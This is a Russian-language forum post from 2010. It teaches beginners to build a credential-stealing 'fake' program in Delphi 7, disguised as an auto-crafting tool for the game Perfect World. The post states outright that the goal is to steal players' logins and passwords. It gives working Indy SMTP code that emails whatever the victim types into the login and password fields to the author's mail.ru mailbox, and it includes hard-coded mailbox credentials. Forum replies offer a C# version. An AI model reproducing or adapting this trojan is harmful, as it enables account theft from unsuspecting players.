Фэйк (реже фейк, от англ. fake — подделка, яп. 偽物 / 贋物) имеет множество значений. В широком смысле слова называется любая подделка, выдаваемая за настоящую вещь. К примеру, все фотографии НЛО считаются фэйками, но это не всегда доказуемо.
В нашем случае фейк — программа, которая должна выполнять какие-то полезные для игрока функции, но вместо этого шлёт его данные нам.
Для начала мы должны определиться, фейк какой программы мы будем делать. Это должна быть программа, которую игрок захочет получить.
Допустим, это будет программа для Perfect World для автоматизации крафта вещей (то есть на самом деле такой программы быть не может).
Взглянем со стороны игрока: что должно быть в программе?
Он должен видеть поля для ввода логина+пароля, всякие опции крафта и кнопки, которая сотворит чудо. Остальное его не касается.
Задача программиста — нарисовать эти поля ввода и опции, а по нажатию заветной кнопки отправлять нам логин и пароль.
Теперь определимся, как можно отправить логин и пароль. Можно использовать ICQ, twitter, даже FTP. Но проще всего — отправить по e-mail.
Чтобы отправлять письма, нам нужно зарегистрировать ящик в почтовой системе, которая поддерживает SMTP. Подойдёт mail.ru.
Также нам будет нужен другой ящик, который будет принимать письма.
Когда мы определились с задачами, нужно переходить к самой разработке.
Для создания фейков проще всего использовать Delphi. (что и сделал Amba //Leo_ня)
Далее пойдёт описание создания фейка на Delphi 7. Написано так, что должны понять те, кто только установил делфи.
Интерфейс фейка.
Для начала нам необходимо создать интерфейс программы.
Создаём пустой проект, где используется стандартная форма (окно).
Теперь со вкладки Standart кидаем на форму два элемента Edit и одинButton.
Edit — поля для ввода логина и пароля. Button - кнопка, которую будет нажимать пользователь.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Отправлять письма мы будем по SMTP. Для этого со вкладки Indy Clients нам необходимо кинуть компонент IdSMTP1. И ещё 2 компонента со вкладки Indy Misc: IdAntiFreeze1 и IdMessage1. Кидайте их в любое место — эти элементы не визуальны. Их не видно в программе (запущенной).
Имя окон, едитов, кнопок вы можете изменить в Object Inspector'е.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Пока с интерфейсом всё.
Отправка данных.
Теперь делаем двойной клик на кнопке, которую мы перетащили на форму (Button1). Делфи перекинет на страницу для редактирования кода кнопки. Вот теперь начнётся самое главное.
Мы должны заполнить компонент idsmtp данными для соединения с SMTP сервером. После этого заполнить сообщение, в котором будут содержаться логин и пароль. Теперь нужно соединиться и отправить сформированное сообщение.
Всё это можно увидеть в видео-уроке [Ссылки могут видеть только зарегистрированные пользователи. ].
Вот пример кода, который заполняет компоненты idsmtp и формирует сообщение:
Код:
begin
// Начало кода обработчика кнопки
idsmtp1.Host:='smtp.mail.ru'; //smtp сервер
idsmtp1.HeloName:='razvod-pw'; // логин
idsmtp1.Port:=587; // порт можно 25, но он не у всех открыт, рекомендую 587
idsmtp1.Username:='razvod-pw'; // логин опять
idsmtp1.Password:='qwerty'; //пароль
idmessage1.CharSet:='windows-1251'; // чтобы сообщения не приходили кракозябрами (работает только в дельфи 7)
idmessage1.ContentType := 'text/html'; // чтобы сообщения не приходили кракозябрами (работает только в дельфи 7)
//IdMessage1.ContentType:= 'text/plain';
idmessage1.Body.Text:='asdad'; // текст сообщения (тип string)
idmessage1.From.Text:='[Ссылки могут видеть только зарегистрированные пользователи. ]'; // От кого, надо чтоб совпадало с реальной почтой, иначе не отправиться
idmessage1.Recipients.EMailAddresses:='[Ссылки могут видеть только зарегистрированные пользователи. ]'; // куда шлём
idmessage1.Subject:=' asda '; // тема
idsmtp1.Connect; // соединение
if idsmtp1.Connected=true then // когда подключиться то...
begin
idsmtp1.Send(idmessage1); //отправить сообщение 1
idsmtp1.Disconnect(); // дисконнек
end else // если не подключено то
abort; // остановить
// Конец кода обработчика кнопки
end;
Полностью исходный код можно посмотреть здесь.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Код отправки для кнопки можно записать и так:
Код:
begin
// Начало кода обработчика кнопки
idmessage1.CharSet:='windows-1251';
idmessage1.ContentType := 'text/html';
idSmtp1.Host:='smtp.mail.ru';
idSmtp1.Port:=587; // порт
idSmtp1.Username:='test-pw'; //логин ящика откуда отсылаем
idSmtp1.Password:='384618d'; //пас от ящика
idmessage1.Body.Text:='Логин: '
+Edit1.Text+
' Пароль: '
+Edit2.Text;
'========= Программа написана Амба 9-6666-35';
idmessage1.From.Text:='[email protected]';
idmessage1.Recipients.EMailAddresses:='[email protected]'; // мыло куда будут приходить письма
idmessage1.Subject:='Тема'; // Тема письма
idsmtp1.Connect(); // соединение
button1.Caption:='Connected';
idsmtp1.Send(idmessage1); //отправить сообщение 1
button1.Caption:='Sended';
idsmtp1.Disconnect(); // дисконнект
button1.Caption:='DisConnected';
// Конец кода обработчика кнопки
end;
Вопросы так же можно задать в асю. 9-6666-35
________________
Последний раз редактировалось Amba; 07.06.2010 в 10:16.
Причина: Добавил скрин.
saschawiebe, вечером приеду, напишу гайд по созданию фейка на C#.
zuzzz, не пишите глупостей, если не владеете знаниями в данной области.
Для использования WinApi есть замечательный pinvoke, в частности DllImport.
________________ Fireball - Быстрое снятие и загрузка скриншотов на хостинг.